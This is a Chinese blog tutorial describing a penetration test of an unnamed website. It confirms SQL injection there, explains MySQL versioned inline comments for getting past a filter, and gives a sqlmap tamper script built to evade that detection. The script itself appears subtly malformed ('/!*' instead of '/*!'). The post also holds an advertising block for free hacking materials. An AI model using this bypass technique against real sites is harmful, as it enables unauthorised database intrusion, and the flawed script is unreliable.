首页 > 其他分享 >在一次渗透中学会编写Tamper脚本

在一次渗透中学会编写Tamper脚本

时间:2024-05-22 09:08:12浏览次数:25  
标签:渗透 Tamper 数据库 注释 版本号 mysql 网安 编写 payload

拿到这个网站,通过对比查询,我们发现

image

闭合参数 finsh 时,查询出的内容更多

image

经过进一步判断,确实存在漏洞

image

image

不过在测试的时候发现存在一定的过滤

image

但是可以通过内联注释进行绕过。

这里也是加深了解了内联注释的知识点,之前只会简单的利用 /*!50000UniON SeLeCt*/ /*!12345union*/不知其所以然,有这样一段解释,在 mysql 中 /*!...*/不是注释,mysql 为了保持兼容,它把一些特有的仅在 mysql 上用的语句放在 /*!...*/中,这样这些语句如果在其他数据库中是不会被执行,但是在 mysql 中它会执行。当后面接的数据库版本号小于自身版本号,就会将注释中的内容执行,当后面接的数据库版本号大于等于自身版本号,就会当做注释来处理。如下语句 /*!50001UniON SeLeCt*/ 这里的 50001 表示假如数据库的版本是 5.00.01 及其以上版本才会被使用。这里我们会产生一个疑问,数据库的版本也不仅仅是五位数字,也存在四位,甚至于三位,应该是会进行处理 5.7.23 也对应着 5.07.23

image

我们首先查询出数据库的版本信息

【----帮助网安学习,以下所有学习资料免费领!加vx:dctintin,备注 “博客园” 获取!】

 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)

image

当前面的数字为 50723 及小于这个数的五位数字组合都可以利用成功

image

当前面的数字为 50724 及大于这个数的五位数字组合无法利用成功

image

我们已经手工验证过了存在 SQL 注入漏洞,但是却无法利用 sqlmap 识别出联合注入,是因为存在检测,需要内联注释进行绕过

image

我们需要编写一个Tamper脚本

image

我们打开 sqlmap-master\tamper 下的一个文件 htmlencode.py 我们看到就是一个查找替换的操作

我们目前已经知道需要利用内联注释来实现绕过检测的操作

image

我们修改代码

import re
​
from lib.core.enums import PRIORITY
​
__priority__ = PRIORITY.LOW
​
def dependencies():
    pass
​
def tamper(payload, **kwargs):
    """
    HTML encode (using code points) all non-alphanumeric characters (e.g. ' -> ')
​
    >>> tamper("1' AND SLEEP(5)#")
    '1'/!*00000AND SLEEP(5)*/#'
    """
    if payload:
        replaced_text = payload
        replace_code = re.search(r"'(.*?)(#|--)", payload)
        if replace_code:
             replaced_text = re.sub(r"(?<=')(.*?)(?=#|--)", r"/!*00000\1*/", payload)
  
    return replaced_text

成功生效

image

更多网安技能的在线实操练习,请点击这里>>

  

标签:渗透,Tamper,数据库,注释,版本号,mysql,网安,编写,payload
From: https://www.cnblogs.com/hetianlab/p/18205414

相关文章

  • 在VB.NET项目中使用C#编写的代码
    前言VB.NET,全名VisualBasic.NET,是Microsoft.NET框架的一部分,是一种面向对象的编程语言。它继承了VisualBasic的易用性,同时增加了对面向对象编程的支持。VB.NET提供了大量的内置函数,使得开发者可以更容易地处理字符串、数学计算、文件和目录访问等任务。它还提供了对WindowsF......
  • 突破边界:基于Windows 11的高效渗透测试系统构建
    在这篇文章中,我将向大家推荐一款基于Windows11的渗透测试系统,由一位行业内大佬封装而成。这个名为Windows11PenetrationSuiteToolkit的项目旨在提供一个开箱即用的Windows渗透测试环境,方便安全专家和爱好者进行渗透测试工作。项目地址你可以在GitHub上找到该项目:W......
  • 编写git脚本.sh
    举例:更改连接方式后需要将远程分支与本地分支同步:验证远程URL:首先,确保你已经正确更改了远程仓库的URL:gitremote-v获取所有远程分支:使用gitfetch命令获取所有远程分支的最新信息:gitfetch--all查看所有本地和远程分支:列出所有本地和远程分支:gitbranch-a合并......
  • 油猴脚本编写
    1.注释的功能解析//==UserScript==//@nametestFileName文件名称//@namespacehttp://tampermonkey.net/命名空间大概是用于保证脚本的唯一性//@version2024-05-14//@descriptiontrytotakeovertheworld!//@authorYou//@match......
  • Vue3+nanoid编写字符串ID生成器
    Vue3+nanoid编写字符串ID生成器中文介绍:https://github.com/ai/nanoid/blob/HEAD/README.zh-CN.md一个小巧、安全、URL友好、唯一的JavaScript字符串ID生成器。“一个惊人的无意义的完美主义水平,这简直让人无法不敬佩。”小巧. 116字节(经过压缩和Brotli处理)。没有依......
  • 渗透提权基础--linux权限
    linux用户权限在Linux系统中,根据权限的不同,大致可以将用户分为三种:超级用户、普通用户和虚拟用户。序号1为超级用户,分析出他为超级用户并不仅仅是因为他的用户名为root,还有他的UID(用户ID)和GID(组ID)为0,这是超级用户很重要的属性,且他的HOME目录为/root。 序号2为虚拟用户,虚拟用......
  • Visual Studio 2015 编写 CUDA 关键字高亮并自动补全_cuda vs 波浪线
    CSDN搬家失败,手动导出markdown后再导入博客园第一步,是在vs2015里面设置vc++文件支持.cu;cuh;文件。方法:工具->选项->文本编辑器->文件扩展名。得到如图所示的界面:注意,在右侧可以添加vc++类型的文件扩展名,这是我的设置效果,操作就不用细说了。![[output/attachme......
  • 内网渗透 Metasploit(MSF)基础使用
    免责申明以下内容仅供学习使用,非法使用造成的问题由使用人承担攻击思路漏洞探测(信息收集)<-fsacn,namp|漏洞利用<-工具(msf等)|获取服务器权限MSF使用Metasploit就是一个安全漏洞检测工具。它的全称叫做TheMetasploitFramework,简称MSF。MSF主要用于攻击非web端口1......
  • 记一次有点抽象的渗透经历
    0x01获取webshell在各种信息搜集中,发现某个ip的端口挂着一个比较老的服务。首先看到了员工工号和手机号的双重验证,也不知道账号是什么结构组成的,基本上放弃字典爆破这一条路。于是乎打开之前用灯塔的扫描结果,看看文件泄露是否有什么可用的点。发现其中有一个略显突出的help.ht......
  • 渗透测试快速启动指南-全-
    渗透测试快速启动指南(全)原文:QuickStartGuidetoPenetrationTesting协议:CCBY-NC-SA4.0一、NMAP简介漏洞评估和渗透测试变得越来越重要,尤其是在最近几年。组织通常拥有存储敏感数据的复杂资产网络。这些资产暴露在来自组织内部和外部的潜在威胁之下。为了全面了解组织......